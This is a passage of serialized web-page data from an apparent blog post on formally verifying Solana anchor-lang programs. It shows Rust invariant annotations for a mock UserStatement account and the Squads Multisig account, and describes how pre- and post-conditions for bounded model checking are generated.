my_invariant",{"type":24,"tag":90,"props":22350,"children":22351},{"style":114},[22352],{"type":29,"value":117},{"type":24,"tag":90,"props":22354,"children":22355},{"style":120},[22356],{"type":29,"value":3013},{"type":24,"tag":90,"props":22358,"children":22359},{"style":114},[22360],{"type":29,"value":172},{"type":24,"tag":90,"props":22362,"children":22363},{"style":120},[22364],{"type":29,"value":177},{"type":24,"tag":90,"props":22366,"children":22367},{"style":146},[22368],{"type":29,"value":167},{"type":24,"tag":90,"props":22370,"children":22371},{"style":114},[22372],{"type":29,"value":1196},{"type":24,"tag":90,"props":22374,"children":22375},{"style":120},[22376],{"type":29,"value":3013},{"type":24,"tag":90,"props":22378,"children":22379},{"style":114},[22380],{"type":29,"value":11967},{"type":24,"tag":90,"props":22382,"children":22383},{"class":92,"line":200},[22384],{"type":24,"tag":90,"props":22385,"children":22386},{"emptyLinePlaceholder":16},[22387],{"type":29,"value":245},{"type":24,"tag":90,"props":22389,"children":22390},{"class":92,"line":239},[22391,22396,22400],{"type":24,"tag":90,"props":22392,"children":22393},{"style":114},[22394],{"type":29,"value":22395},"#[succeeds_if(my_invariant(",{"type":24,"tag":90,"props":22397,"children":22398},{"style":120},[22399],{"type":29,"value":3013},{"type":24,"tag":90,"props":22401,"children":22402},{"style":114},[22403],{"type":29,"value":22404},"))]\n",{"type":24,"tag":90,"props":22406,"children":22407},{"class":92,"line":248},[22408,22413,22418,22423,22427],{"type":24,"tag":90,"props":22409,"children":22410},{"style":114},[22411],{"type":29,"value":22412},"#[errors_if(",{"type":24,"tag":90,"props":22414,"children":22415},{"style":120},[22416],{"type":29,"value":22417},"!",{"type":24,"tag":90,"props":22419,"children":22420},{"style":114},[22421],{"type":29,"value":22422},"my_invariant(",{"type":24,"tag":90,"props":22424,"children":22425},{"style":120},[22426],{"type":29,"value":3013},{"type":24,"tag":90,"props":22428,"children":22429},{"style":114},[22430],{"type":29,"value":22404},{"type":24,"tag":90,"props":22432,"children":22433},{"class":92,"line":258},[22434,22438,22443,22447,22451,22455,22459,22463,22467,22471,22475,22479],{"type":24,"tag":90,"props":22435,"children":22436},{"style":97},[22437],{"type":29,"value":22062},{"type":24,"tag":90,"props":22439,"children":22440},{"style":108},[22441],{"type":29,"value":22442}," my_instruction",{"type":24,"tag":90,"props":22444,"children":22445},{"style":114},[22446],{"type":29,"value":117},{"type":24,"tag":90,"props":22448,"children":22449},{"style":136},[22450],{"type":29,"value":22076},{"type":24,"tag":90,"props":22452,"children":22453},{"style":120},[22454],{"type":29,"value":78},{"type":24,"tag":90,"props":22456,"children":22457},{"style":146},[22458],{"type":29,"value":22085},{"type":24,"tag":90,"props":22460,"children":22461},{"style":114},[22462],{"type":29,"value":1575},{"type":24,"tag":90,"props":22464,"children":22465},{"style":120},[22466],{"type":29,"value":3013},{"type":24,"tag":90,"props":22468,"children":22469},{"style":114},[22470],{"type":29,"value":22242},{"type":24,"tag":90,"props":22472,"children":22473},{"style":120},[22474],{"type":29,"value":177},{"type":24,"tag":90,"props":22476,"children":22477},{"style":146},[22478],{"type":29,"value":182},{"type":24,"tag":90,"props":22480,"children":22481},{"style":114},[22482],{"type":29,"value":22127},{"type":24,"tag":90,"props":22484,"children":22485},{"class":92,"line":272},[22486],{"type":24,"tag":90,"props":22487,"children":22488},{"style":120},[22489],{"type":29,"value":22135},{"type":24,"tag":90,"props":22491,"children":22492},{"class":92,"line":281},[22493],{"type":24,"tag":90,"props":22494,"children":22495},{"style":114},[22496],{"type":29,"value":827},{"type":24,"tag":25,"props":22498,"children":22499},{},[22500],{"type":29,"value":22501},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":20686,"props":22503,"children":22505},{"id":22504},"account-invariants",[22506],{"type":29,"value":22507},"Account Invariants",{"type":24,"tag":25,"props":22509,"children":22510},{},[22511,22513,22518],{"type":29,"value":22512},"The other type of invariant is an ",{"type":24,"tag":7711,"props":22514,"children":22515},{},[22516],{"type":29,"value":22517},"Account Invariant",{"type":29,"value":22519},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":22521,"children":22522},{},[22523,22525,22530,22531,22537],{"type":29,"value":22524},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":32,"props":22526,"children":22528},{"className":22527},[],[22529],{"type":29,"value":371},{"type":29,"value":15499},{"type":24,"tag":32,"props":22532,"children":22534},{"className":22533},[],[22535],{"type":29,"value":22536},"init",{"type":29,"value":22538},").",{"type":24,"tag":25,"props":22540,"children":22541},{},[22542,22544,22550],{"type":29,"value":22543},"For example, given a mock ",{"type":24,"tag":32,"props":22545,"children":22547},{"className":22546},[],[22548],{"type":29,"value":22549},"UserStatement",{"type":29,"value":22551}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":80,"props":22553,"children":22555},{"code":22554,"language":84,"meta":7,"className":82,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[22556],{"type":24,"tag":32,"props":22557,"children":22558},{"__ignoreMap":7},[22559,22567,22575,22609,22616,22632,22658,22682,22706],{"type":24,"tag":90,"props":22560,"children":22561},{"class":92,"line":93},[22562],{"type":24,"tag":90,"props":22563,"children":22564},{"style":114},[22565],{"type":29,"value":22566},"#[account]\n",{"type":24,"tag":90,"props":22568,"children":22569},{"class":92,"line":200},[22570],{"type":24,"tag":90,"props":22571,"children":22572},{"style":114},[22573],{"type":29,"value":22574},"#[invariant(\n",{"type":24,"tag":90,"props":22576,"children":22577},{"class":92,"line":239},[22578,22583,22587,22592,22596,22600,22604],{"type":24,"tag":90,"props":22579,"children":22580},{"style":114},[22581],{"type":29,"value":22582}," self",{"type":24,"tag":90,"props":22584,"children":22585},{"style":120},[22586],{"type":29,"value":226},{"type":24,"tag":90,"props":22588,"children":22589},{"style":114},[22590],{"type":29,"value":22591},"assets ",{"type":24,"tag":90,"props":22593,"children":22594},{"style":120},[22595],{"type":29,"value":12312},{"type":24,"tag":90,"props":22597,"children":22598},{"style":114},[22599],{"type":29,"value":221},{"type":24,"tag":90,"props":22601,"children":22602},{"style":120},[22603],{"type":29,"value":226},{"type":24,"tag":90,"props":22605,"children":22606},{"style":114},[22607],{"type":29,"value":22608},"liabilities\n",{"type":24,"tag":90,"props":22610,"children":22611},{"class":92,"line":248},[22612],{"type":24,"tag":90,"props":22613,"children":22614},{"style":114},[22615],{"type":29,"value":22054},{"type":24,"tag":90,"props":22617,"children":22618},{"class":92,"line":258},[22619,22623,22628],{"type":24,"tag":90,"props":22620,"children":22621},{"style":97},[22622],{"type":29,"value":3050},{"type":24,"tag":90,"props":22624,"children":22625},{"style":146},[22626],{"type":29,"value":22627}," UserStatement",{"type":24,"tag":90,"props":22629,"children":22630},{"style":114},[22631],{"type":29,"value":269},{"type":24,"tag":90,"props":22633,"children":22634},{"class":92,"line":272},[22635,22640,22645,22649,22654],{"type":24,"tag":90,"props":22636,"children":22637},{"style":97},[22638],{"type":29,"value":22639}," pub",{"type":24,"tag":90,"props":22641,"children":22642},{"style":136},[22643],{"type":29,"value":22644}," owner",{"type":24,"tag":90,"props":22646,"children":22647},{"style":120},[22648],{"type":29,"value":78},{"type":24,"tag":90,"props":22650,"children":22651},{"style":146},[22652],{"type":29,"value":22653}," Pubkey",{"type":24,"tag":90,"props":22655,"children":22656},{"style":114},[22657],{"type":29,"value":748},{"type":24,"tag":90,"props":22659,"children":22660},{"class":92,"line":281},[22661,22665,22670,22674,22678],{"type":24,"tag":90,"props":22662,"children":22663},{"style":97},[22664],{"type":29,"value":22639},{"type":24,"tag":90,"props":22666,"children":22667},{"style":136},[22668],{"type":29,"value":22669}," assets",{"type":24,"tag":90,"props":22671,"children":22672},{"style":120},[22673],{"type":29,"value":78},{"type":24,"tag":90,"props":22675,"children":22676},{"style":146},[22677],{"type":29,"value":376},{"type":24,"tag":90,"props":22679,"children":22680},{"style":114},[22681],{"type":29,"value":748},{"type":24,"tag":90,"props":22683,"children":22684},{"class":92,"line":384},[22685,22689,22694,22698,22702],{"type":24,"tag":90,"props":22686,"children":22687},{"style":97},[22688],{"type":29,"value":22639},{"type":24,"tag":90,"props":22690,"children":22691},{"style":136},[22692],{"type":29,"value":22693}," liabilities",{"type":24,"tag":90,"props":22695,"children":22696},{"style":120},[22697],{"type":29,"value":78},{"type":24,"tag":90,"props":22699,"children":22700},{"style":146},[22701],{"type":29,"value":376},{"type":24,"tag":90,"props":22703,"children":22704},{"style":114},[22705],{"type":29,"value":748},{"type":24,"tag":90,"props":22707,"children":22708},{"class":92,"line":420},[22709],{"type":24,"tag":90,"props":22710,"children":22711},{"style":114},[22712],{"type":29,"value":827},{"type":24,"tag":25,"props":22714,"children":22715},{},[22716,22718,22723],{"type":29,"value":22717},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":32,"props":22719,"children":22721},{"className":22720},[],[22722],{"type":29,"value":22549},{"type":29,"value":22724}," is created or modified.",{"type":24,"tag":25,"props":22726,"children":22727},{},[22728,22730,22736],{"type":29,"value":22729},"In another example, we developed the following invariant for the ",{"type":24,"tag":69,"props":22731,"children":22733},{"href":20617,"rel":22732},[73],[22734],{"type":29,"value":22735},"Squads Multisig",{"type":29,"value":22737}," wallet account:",{"type":24,"tag":80,"props":22739,"children":22741},{"code":22740,"language":84,"meta":7,"className":82,"style":7},"#[account]\n#[invariant(\n !self.keys.is_empty()\n && (self.keys.len() \u003C= u16::MAX as usize)\n && (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[22742],{"type":24,"tag":32,"props":22743,"children":22744},{"__ignoreMap":7},[22745,22752,22759,22789,22848,22877,22929,22936,22957,22987,23017,23047,23076,23106,23136,23165,23205],{"type":24,"tag":90,"props":22746,"children":22747},{"class":92,"line":93},[22748],{"type":24,"tag":90,"props":22749,"children":22750},{"style":114},[22751],{"type":29,"value":22566},{"type":24,"tag":90,"props":22753,"children":22754},{"class":92,"line":200},[22755],{"type":24,"tag":90,"props":22756,"children":22757},{"style":114},[22758],{"type":29,"value":22574},{"type":24,"tag":90,"props":22760,"children":22761},{"class":92,"line":239},[22762,22767,22771,22775,22780,22784],{"type":24,"tag":90,"props":22763,"children":22764},{"style":120},[22765],{"type":29,"value":22766}," !",{"type":24,"tag":90,"props":22768,"children":22769},{"style":114},[22770],{"type":29,"value":128},{"type":24,"tag":90,"props":22772,"children":22773},{"style":120},[22774],{"type":29,"value":226},{"type":24,"tag":90,"props":22776,"children":22777},{"style":114},[22778],{"type":29,"value":22779},"keys",{"type":24,"tag":90,"props":22781,"children":22782},{"style":120},[22783],{"type":29,"value":226},{"type":24,"tag":90,"props":22785,"children":22786},{"style":114},[22787],{"type":29,"value":22788},"is_empty()\n",{"type":24,"tag":90,"props":22790,"children":22791},{"class":92,"line":248},[22792,22796,22801,22805,22809,22813,22818,22822,22827,22831,22836,22840,22844],{"type":24,"tag":90,"props":22793,"children":22794},{"style":120},[22795],{"type":29,"value":2129},{"type":24,"tag":90,"props":22797,"children":22798},{"style":114},[22799],{"type":29,"value":22800}," (self",{"type":24,"tag":90,"props":22802,"children":22803},{"style":120},[22804],{"type":29,"value":226},{"type":24,"tag":90,"props":22806,"children":22807},{"style":114},[22808],{"type":29,"value":22779},{"type":24,"tag":90,"props":22810,"children":22811},{"style":120},[22812],{"type":29,"value":226},{"type":24,"tag":90,"props":22814,"children":22815},{"style":114},[22816],{"type":29,"value":22817},"len() ",{"type":24,"tag":90,"props":22819,"children":22820},{"style":120},[22821],{"type":29,"value":21209},{"type":24,"tag":90,"props":22823,"children":22824},{"style":146},[22825],{"type":29,"value":22826}," u16",{"type":24,"tag":90,"props":22828,"children":22829},{"style":120},[22830],{"type":29,"value":1211},{"type":24,"tag":90,"props":22832,"children":22833},{"style":146},[22834],{"type":29,"value":22835},"MAX",{"type":24,"tag":90,"props":22837,"children":22838},{"style":97},[22839],{"type":29,"value":409},{"type":24,"tag":90,"props":22841,"children":22842},{"style":146},[22843],{"type":29,"value":149},{"type":24,"tag":90,"props":22845,"children":22846},{"style":114},[22847],{"type":29,"value":1686},{"type":24,"tag":90,"props":22849,"children":22850},{"class":92,"line":258},[22851,22855,22859,22863,22868,22872],{"type":24,"tag":90,"props":22852,"children":22853},{"style":120},[22854],{"type":29,"value":2129},{"type":24,"tag":90,"props":22856,"children":22857},{"style":114},[22858],{"type":29,"value":22800},{"type":24,"tag":90,"props":22860,"children":22861},{"style":120},[22862],{"type":29,"value":226},{"type":24,"tag":90,"props":22864,"children":22865},{"style":114},[22866],{"type":29,"value":22867},"threshold ",{"type":24,"tag":90,"props":22869,"children":22870},{"style":120},[22871],{"type":29,"value":12312},{"type":24,"tag":90,"props":22873,"children":22874},{"style":114},[22875],{"type":29,"value":22876}," 1)\n",{"type":24,"tag":90,"props":22878,"children":22879},{"class":92,"line":272},[22880,22884,22888,22892,22896,22900,22904,22908,22912,22916,22920,22924],{"type":24,"tag":90,"props":22881,"children":22882},{"style":120},[22883],{"type":29,"value":2129},{"type":24,"tag":90,"props":22885,"children":22886},{"style":114},[22887],{"type":29,"value":22800},{"type":24,"tag":90,"props":22889,"children":22890},{"style":120},[22891],{"type":29,"value":226},{"type":24,"tag":90,"props":22893,"children":22894},{"style":114},[22895],{"type":29,"value":22867},{"type":24,"tag":90,"props":22897,"children":22898},{"style":97},[22899],{"type":29,"value":361},{"type":24,"tag":90,"props":22901,"children":22902},{"style":146},[22903],{"type":29,"value":149},{"type":24,"tag":90,"props":22905,"children":22906},{"style":120},[22907],{"type":29,"value":10574},{"type":24,"tag":90,"props":22909,"children":22910},{"style":114},[22911],{"type":29,"value":221},{"type":24,"tag":90,"props":22913,"children":22914},{"style":120},[22915],{"type":29,"value":226},{"type":24,"tag":90,"props":22917,"children":22918},{"style":114},[22919],{"type":29,"value":22779},{"type":24,"tag":90,"props":22921,"children":22922},{"style":120},[22923],{"type":29,"value":226},{"type":24,"tag":90,"props":22925,"children":22926},{"style":114},[22927],{"type":29,"value":22928},"len())\n",{"type":24,"tag":90,"props":22930,"children":22931},{"class":92,"line":281},[22932],{"type":24,"tag":90,"props":22933,"children":22934},{"style":114},[22935],{"type":29,"value":22054},{"type":24,"tag":90,"props":22937,"children":22938},{"class":92,"line":384},[22939,22943,22948,22953],{"type":24,"tag":90,"props":22940,"children":22941},{"style":97},[22942],{"type":29,"value":100},{"type":24,"tag":90,"props":22944,"children":22945},{"style":97},[22946],{"type":29,"value":22947}," struct",{"type":24,"tag":90,"props":22949,"children":22950},{"style":146},[22951],{"type":29,"value":22952}," Ms",{"type":24,"tag":90,"props":22954,"children":22955},{"style":114},[22956],{"type":29,"value":269},{"type":24,"tag":90,"props":22958,"children":22959},{"class":92,"line":420},[22960,22964,22969,22973,22977,22982],{"type":24,"tag":90,"props":22961,"children":22962},{"style":97},[22963],{"type":29,"value":22639},{"type":24,"tag":90,"props":22965,"children":22966},{"style":136},[22967],{"type":29,"value":22968}," threshold",{"type":24,"tag":90,"props":22970,"children":22971},{"style":120},[22972],{"type":29,"value":78},{"type":24,"tag":90,"props":22974,"children":22975},{"style":146},[22976],{"type":29,"value":22826},{"type":24,"tag":90,"props":22978,"children":22979},{"style":114},[22980],{"type":29,"value":22981},", ",{"type":24,"tag":90,"props":22983,"children":22984},{"style":252},[22985],{"type":29,"value":22986},"// threshold for signatures\n",{"type":24,"tag":90,"props":22988,"children":22989},{"class":92,"line":428},[22990,22994,22999,23003,23007,23012],{"type":24,"tag":90,"props":22991,"children":22992},{"style":97},[22993],{"type":29,"value":22639},{"type":24,"tag":90,"props":22995,"children":22996},{"style":136},[22997],{"type":29,"value":22998}," authority_index",{"type":24,"tag":90,"props":23000,"children":23001},{"style":120},[23002],{"type":29,"value":78},{"type":24,"tag":90,"props":23004,"children":23005},{"style":146},[23006],{"type":29,"value":22826},{"type":24,"tag":90,"props":23008,"children":23009},{"style":114},[23010],{"type":29,"value":23011},", ",{"type":24,"tag":90,"props":23013,"children":23014},{"style":252},[23015],{"type":29,"value":23016},"// index to seed other authorities under this multisig\n",{"type":24,"tag":90,"props":23018,"children":23019},{"class":92,"line":437},[23020,23024,23029,23033,23037,23042],{"type":24,"tag":90,"props":23021,"children":23022},{"style":97},[23023],{"type":29,"value":22639},{"type":24,"tag":90,"props":23025,"children":23026},{"style":136},[23027],{"type":29,"value":23028}," transaction_index",{"type":24,"tag":90,"props":23030,"children":23031},{"style":120},[23032],{"type":29,"value":78},{"type":24,"tag":90,"props":23034,"children":23035},{"style":146},[23036],{"type":29,"value":4072},{"type":24,"tag":90,"props":23038,"children":23039},{"style":114},[23040],{"type":29,"value":23041},", ",{"type":24,"tag":90,"props":23043,"children":23044},{"style":252},[23045],{"type":29,"value":23046},"// look up and seed reference for transactions\n",{"type":24,"tag":90,"props":23048,"children":23049},{"class":92,"line":574},[23050,23054,23059,23063,23067,23071],{"type":24,"tag":90,"props":23051,"children":23052},{"style":97},[23053],{"type":29,"value":22639},{"type":24,"tag":90,"props":23055,"children":23056},{"style":136},[23057],{"type":29,"value":23058}," ms_change_index",{"type":24,"tag":90,"props":23060,"children":23061},{"style":120},[23062],{"type":29,"value":78},{"type":24,"tag":90,"props":23064,"children":23065},{"style":146},[23066],{"type":29,"value":4072},{"type":24,"tag":90,"props":23068,"children":23069},{"style":114},[23070],{"type":29,"value":23011},{"type":24,"tag":90,"props":23072,"children":23073},{"style":252},[23074],{"type":29,"value":23075},"// the last executed/closed transaction\n",{"type":24,"tag":90,"props":23077,"children":23078},{"class":92,"line":606},[23079,23083,23088,23092,23096,23101],{"type":24,"tag":90,"props":23080,"children":23081},{"style":97},[23082],{"type":29,"value":22639},{"type":24,"tag":90,"props":23084,"children":23085},{"style":136},[23086],{"type":29,"value":23087}," bump",{"type":24,"tag":90,"props":23089,"children":23090},{"style":120},[23091],{"type":29,"value":78},{"type":24,"tag":90,"props":23093,"children":23094},{"style":146},[23095],{"type":29,"value":1123},{"type":24,"tag":90,"props":23097,"children":23098},{"style":114},[23099],{"type":29,"value":23100},", ",{"type":24,"tag":90,"props":23102,"children":23103},{"style":252},[23104],{"type":29,"value":23105},"// bump for the multisig seed\n",{"type":24,"tag":90,"props":23107,"children":23108},{"class":92,"line":615},[23109,23113,23118,23122,23126,23131],{"type":24,"tag":90,"props":23110,"children":23111},{"style":97},[23112],{"type":29,"value":22639},{"type":24,"tag":90,"props":23114,"children":23115},{"style":136},[23116],{"type":29,"value":23117}," create_key",{"type":24,"tag":90,"props":23119,"children":23120},{"style":120},[23121],{"type":29,"value":78},{"type":24,"tag":90,"props":23123,"children":23124},{"style":146},[23125],{"type":29,"value":22653},{"type":24,"tag":90,"props":23127,"children":23128},{"style":114},[23129],{"type":29,"value":23130},", ",{"type":24,"tag":90,"props":23132,"children":23133},{"style":252},[23134],{"type":29,"value":23135},"// random key(or not) used to seed the multisig pda\n",{"type":24,"tag":90,"props":23137,"children":23138},{"class":92,"line":623},[23139,23143,23148,23152,23156,23160],{"type":24,"tag":90,"props":23140,"children":23141},{"style":97},[23142],{"type":29,"value":22639},{"type":24,"tag":90,"props":23144,"children":23145},{"style":136},[23146],{"type":29,"value":23147}," allow_external_execute",{"type":24,"tag":90,"props":23149,"children":23150},{"style":120},[23151],{"type":29,"value":78},{"type":24,"tag":90,"props":23153,"children":23154},{"style":146},[23155],{"type":29,"value":167},{"type":24,"tag":90,"props":23157,"children":23158},{"style":114},[23159],{"type":29,"value":133},{"type":24,"tag":90,"props":23161,"children":23162},{"style":252},[23163],{"type":29,"value":23164},"// allow non-member keys to execute txs\n",{"type":24,"tag":90,"props":23166,"children":23167},{"class":92,"line":632},[23168,23172,23177,23181,23186,23190,23195,23200],{"type":24,"tag":90,"props":23169,"children":23170},{"style":97},[23171],{"type":29,"value":22639},{"type":24,"tag":90,"props":23173,"children":23174},{"style":136},[23175],{"type":29,"value":23176}," keys",{"type":24,"tag":90,"props":23178,"children":23179},{"style":120},[23180],{"type":29,"value":78},{"type":24,"tag":90,"props":23182,"children":23183},{"style":146},[23184],{"type":29,"value":23185}," Vec",{"type":24,"tag":90,"props":23187,"children":23188},{"style":114},[23189],{"type":29,"value":1575},{"type":24,"tag":90,"props":23191,"children":23192},{"style":146},[23193],{"type":29,"value":23194},"Pubkey",{"type":24,"tag":90,"props":23196,"children":23197},{"style":114},[23198],{"type":29,"value":23199},">, ",{"type":24,"tag":90,"props":23201,"children":23202},{"style":252},[23203],{"type":29,"value":23204},"// keys of the members\n",{"type":24,"tag":90,"props":23206,"children":23207},{"class":92,"line":669},[23208],{"type":24,"tag":90,"props":23209,"children":23210},{"style":114},[23211],{"type":29,"value":827},{"type":24,"tag":25,"props":23213,"children":23214},{},[23215],{"type":29,"value":23216},"Here we are verifying multiple things at once:",{"type":24,"tag":3207,"props":23218,"children":23219},{},[23220,23231,23242,23253],{"type":24,"tag":3104,"props":23221,"children":23222},{},[23223,23229],{"type":24,"tag":32,"props":23224,"children":23226},{"className":23225},[],[23227],{"type":29,"value":23228},"!self.keys.is_empty()",{"type":29,"value":23230}," : ensure there is at least one member",{"type":24,"tag":3104,"props":23232,"children":23233},{},[23234,23240],{"type":24,"tag":32,"props":23235,"children":23237},{"className":23236},[],[23238],{"type":29,"value":23239},"self.keys.len() \u003C= u16::MAX as usize",{"type":29,"value":23241}," : set an upper limit of 65535 members",{"type":24,"tag":3104,"props":23243,"children":23244},{},[23245,23251],{"type":24,"tag":32,"props":23246,"children":23248},{"className":23247},[],[23249],{"type":29,"value":23250},"self.threshold >= 1",{"type":29,"value":23252}," : ensure we always need at least one member to sign (threshold of zero would require no signers!)",{"type":24,"tag":3104,"props":23254,"children":23255},{},[23256,23262],{"type":24,"tag":32,"props":23257,"children":23259},{"className":23258},[],[23260],{"type":29,"value":23261},"self.threshold as usize \u003C= self.keys.len()",{"type":29,"value":23263}," : ensure we always have enough potential members to sign; if threshold was greater than the number of keys, no one could sign",{"type":24,"tag":850,"props":23265,"children":23267},{"id":23266},"verification-how-do-we-check-that-our-model-is-correct",[23268],{"type":29,"value":23269},"Verification: How do we check that our model is correct?",{"type":24,"tag":25,"props":23271,"children":23272},{},[23273,23275,23279,23281,23286],{"type":29,"value":23274},"Now that we have defined the specific instruction and account invariants, we need to generate ",{"type":24,"tag":842,"props":23276,"children":23277},{},[23278],{"type":29,"value":21764},{"type":29,"value":23280}," on which we can run bounded model checking. Our tool does this ",{"type":24,"tag":842,"props":23282,"children":23283},{},[23284],{"type":29,"value":23285},"automagically",{"type":29,"value":23287}," for anchor-lang programs.",{"type":24,"tag":25,"props":23289,"children":23290},{},[23291,23293,23299,23301,23306,23308,23313,23314,23319,23321,23326,23328,23333,23334,23340,23342,23348,23349,23355],{"type":29,"value":23292},"Specifically, for a given ",{"type":24,"tag":32,"props":23294,"children":23296},{"className":23295},[],[23297],{"type":29,"value":23298},"Context\u003CT>",{"type":29,"value":23300}," with ",{"type":24,"tag":842,"props":23302,"children":23303},{},[23304],{"type":29,"value":23305},"incoming",{"type":29,"value":23307}," accounts of types (",{"type":24,"tag":32,"props":23309,"children":23311},{"className":23310},[],[23312],{"type":29,"value":22536},{"type":29,"value":6966},{"type":24,"tag":32,"props":23315,"children":23317},{"className":23316},[],[23318],{"type":29,"value":371},{"type":29,"value":23320},") and ",{"type":24,"tag":842,"props":23322,"children":23323},{},[23324],{"type":29,"value":23325},"outgoing",{"type":29,"value":23327}," accounts of type (",{"type":24,"tag":32,"props":23329,"children":23331},{"className":23330},[],[23332],{"type":29,"value":371},{"type":29,"value":6966},{"type":24,"tag":32,"props":23335,"children":23337},{"className":23336},[],[23338],{"type":29,"value":23339},"close",{"type":29,"value":23341},") we define a ",{"type":24,"tag":32,"props":23343,"children":23345},{"className":23344},[],[23346],{"type":29,"value":23347},"pre_condition",{"type":29,"value":13360},{"type":24,"tag":32,"props":23350,"children":23352},{"className":23351},[],[23353],{"type":29,"value":23354},"post_condition",{"type":29,"value":23356}," expression that is a conjunction of all of the incoming and outcoming account invariants:",{"type":24,"tag":25,"props":23358,"children":23359},{},[23360],{"type":24,"tag":32,"props":23361,"children":23363},{"className":23362},[6368,6369],[23364],{"type":24,"tag":90,"props":23365,"children":23367},{"className":23366},[6374],[23368],{"type":24,"tag":90,"props":23369,"children":23371},{"className":23370,"ariaHidden":6380},[6379],[23372,23408],{"type":24,"tag":90,"props":23373,"children":23375},{"className":23374},[6385],[23376,23381,23389,23394,23398,23404],{"type":24,"tag":90,"props":23377,"children":23380},{"className":23378,"style":23379},[6390],"height:0.6833em;",[],{"type":24,"tag":90,"props":23382,"children":23386},{"className":23383,"style":23385},[6396,23384],"mathnormal","margin-right:0.13889em;",[23387],{"type":29,"value":23388},"P",{"type":24,"tag":90,"props":23390,"children":23392},{"className":23391},[6396],[23393],{"type":29,"value":6408},{"type":24,"tag":90,"props":23395,"children":23397},{"className":23396,"style":6573},[6475],[],{"type":24,"tag":90,"props":23399,"children":23401},{"className":23400},[6578],[23402],{"type":29,"value":23403},":=",{"type":24,"tag":90,"props":23405,"children":23407},{"className":23406,"style":6573},[6475],[],{"type":24,"tag":90,"props":23409,"children":23411},{"className":23410},[6385],[23412,23417,23557,23561],{"type":24,"tag":90,"props":23413,"children":23416},{"className":23414,"style":23415},[6390],"height:1.2247em;vertical-align:-0.4747em;",[],{"type":24,"tag":90,"props":23418,"children":23421},{"className":23419},[23420],"mop",[23422,23431],{"type":24,"tag":90,"props":23423,"children":23428},{"className":23424,"style":23427},[23420,23425,23426],"op-symbol","small-op","position:relative;top:0em;",[23429],{"type":29,"value":23430},"⋀",{"type":24,"tag":90,"props":23432,"children":23434},{"className":23433},[6412],[23435],{"type":24,"tag":90,"props":23436,"children":23439},{"className":23437},[6417,23438],"vlist-t2",[23440,23545],{"type":24,"tag":90,"props":23441,"children":23443},{"className":23442},[6422],[23444,23538],{"type":24,"tag":90,"props":23445,"children":23448},{"className":23446,"style":23447},[6427],"height:0.2253em;",[23449],{"type":24,"tag":90,"props":23450,"children":23452},{"style":23451},"top:-2.4003em;margin-left:0em;margin-right:0.05em;",[23453,23457],{"type":24,"tag":90,"props":23454,"children":23456},{"className":23455,"style":6437},[6436],[],{"type":24,"tag":90,"props":23458,"children":23460},{"className":23459},[6442,6443,6444,6445],[23461],{"type":24,"tag":90,"props":23462,"children":23464},{"className":23463},[6396,6445],[23465,23470,23476,23486,23492,23501,23510,23516,23521,23527,23532],{"type":24,"tag":90,"props":23466,"children":23468},{"className":23467},[6396,23384,6445],[23469],{"type":29,"value":69},{"type":24,"tag":90,"props":23471,"children":23473},{"className":23472},[6396,23384,6445],[23474],{"type":29,"value":23475},"cc",{"type":24,"tag":90,"props":23477,"children":23479},{"className":23478},[6475,6445],[23480],{"type":24,"tag":90,"props":23481,"children":23483},{"className":23482},[6445],[23484],{"type":29,"value":23485}," ",{"type":24,"tag":90,"props":23487,"children":23489},{"className":23488},[6578,6445],[23490],{"type":29,"value":23491},"∈",{"type":24,"tag":90,"props":23493,"children":23495},{"className":23494},[6475,6445],[23496],{"type":24,"tag":90,"props":23497,"children":23499},{"className":23498},[6445],[23500],{"type":29,"value":23485},{"type":24,"tag":90,"props":23502,"children":23504},{"className":23503},[6396,29,6445],[23505],{"type":24,"tag":90,"props":23506,"children":23508},{"className":23507},[6396,6445],[23509],{"type":29,"value":23305},{"type":24,"tag":90,"props":23511,"children":23514},{"className":23512},[23513,6445],"mopen",[23515],{"type":29,"value":117},{"type":24,"tag":90,"props":23517,"children":23519},{"className":23518},[6396,23384,6445],[23520],{"type":29,"value":3030},{"type":24,"tag":90,"props":23522,"children":23524},{"className":23523},[6396,23384,6445],[23525],{"type":29,"value":23526},"t",{"type":24,"tag":90,"props":23528,"children":23530},{"className":23529},[6396,23384,6445],[23531],{"type":29,"value":21070},{"type":24,"tag":90,"props":23533,"children":23536},{"className":23534},[23535,6445],"mclose",[23537],{"type":29,"value":517},{"type":24,"tag":90,"props":23539,"children":23542},{"className":23540},[23541],"vlist-s",[23543],{"type":29,"value":23544},"​",{"type":24,"tag":90,"props":23546,"children":23548},{"className":23547},[6422],[23549],{"type":24,"tag":90,"props":23550,"children":23553},{"className":23551,"style":23552},[6427],"height:0.4747em;",[23554],{"type":24,"tag":90,"props":23555,"children":23556},{},[],{"type":24,"tag":90,"props":23558,"children":23560},{"className":23559,"style":6514},[6475],[],{"type":24,"tag":90,"props":23562,"children":23564},{"className":23563},[6396],[23565,23575,23580,23585,23590],{"type":24,"tag":90,"props":23566,"children":23568},{"className":23567},[6396,29],[23569],{"type":24,"tag":90,"props":23570,"children":23572},{"className":23571},[6396],[23573],{"type":29,"value":23574},"invariant",{"type":24,"tag":90,"props":23576,"children":23578},{"className":23577},[23513],[23579],{"type":29,"value":117},{"type":24,"tag":90,"props":23581,"children":23583},{"className":23582},[6396,23384],[23584],{"type":29,"value":69},{"type":24,"tag":90,"props":23586,"children":23588},{"className":23587},[6396,23384],[23589],{"type":29,"value":23475},{"type":24,"tag":90,"props":23591,"children":23593},{"className":23592},[23535],[23594],{"type":29,"value":517},{"type":24,"tag":25,"props":23596,"children":23597},{},[23598],{"type":24,"tag":32,"props":23